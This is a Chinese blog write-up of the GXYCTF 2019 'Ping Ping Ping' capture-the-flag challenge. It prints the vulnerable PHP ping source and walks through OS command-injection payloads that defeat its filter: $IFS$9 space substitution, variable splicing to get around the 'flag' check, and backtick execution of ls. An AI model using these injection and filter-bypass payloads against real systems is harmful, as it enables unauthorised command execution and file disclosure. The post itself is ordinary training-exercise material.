Web 13 [GXYCTF 2019]Ping Ping Ping

piter 发布于 2025-01-11 651 次阅读 451 字


AI 摘要

在GXYCTF 2019的挑战中,“Ping Ping Ping”一题以其巧妙的过滤机制吸引了众多攻防者的目光。通过独特的绕过技巧,包括利用特殊字符和命令注入,选手们得以破解层层防线,最终获取隐藏的flag。本文将带你领略这场技术较量的精彩过程,揭秘如何在精巧的代码中找到突破口,获取胜利的钥匙。不要错过,或许灵感就在其中!

ping的题目,看了一些知识点拿来练练

先来随便ping一下

127.0.0.1

得到

再尝试一下添加管道符加其他指令

[!IMPORTANT]

发现目录下有两个php文件,有我们需要的flag

尝试能不能获取flag

ping 127.0.0.1|cat flag.php

发现可能是空格被过滤了

尝试其他的常见绕过方法

比如

  1. 使用 ${IFS} 代替空格

  2. 使用 < > 重定向符号

  3. 使用 {cat,flag.php} 语法

  4. 使用 $() 或反引号执行命令

  5. 使用 %09(Tab 字符)代替空格

都会被过滤

贴张图

法一

[!TIP]

使用$IFS$9绕过

先看看index.php里面源码写了啥

查看源码

	<?php
	if(isset($_GET['ip'])){
		$ip = $_GET['ip'];
		if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
			print_r($match);
			print($ip);
			echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
			die("fxck your symbol!");
		}
		else if(preg_match("/ /", $ip)){
			die("fxck your space!");
		}
		else if(preg_match("/bash/", $ip)){
			die("fxck your bash!");
		}
		else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
			die("fxck your flag!");
		}
		$a = shell_exec("ping -c 4 ".$ip);
		echo "<pre>";
		print_r($a);
	}

	?>

[!important]

源码里面有过滤规则

  • /.*f.*l.*a.g./只要匹配到这四个字符组合在一起就显示fxck your flag!了
  • 可以采取变量赋值的方式来做

输入 ping 127.0.0.1;q=g;cat$IFS$9fla$q.php

再次查看源码

拿到flag

NSSCTF{9cd25729-d16e-462c-976d-c4a5cb055b8b}

法二

[!TIP]

这个方法比较巧妙

使用反引号绕过

==原理:==

linux下,会先执行反引号下面的语句
在这里会执行ls,ls的结果是“index.php flag.php”
所以最后执行的语句等价于
cat index.php flag.php

试验一下

ping一下

也是成功拿到flag

  • reward_image1
永远不要因为需要大量时间才能完成,就放弃梦想,时间怎么样都会过去的
最后更新于 2026-02-20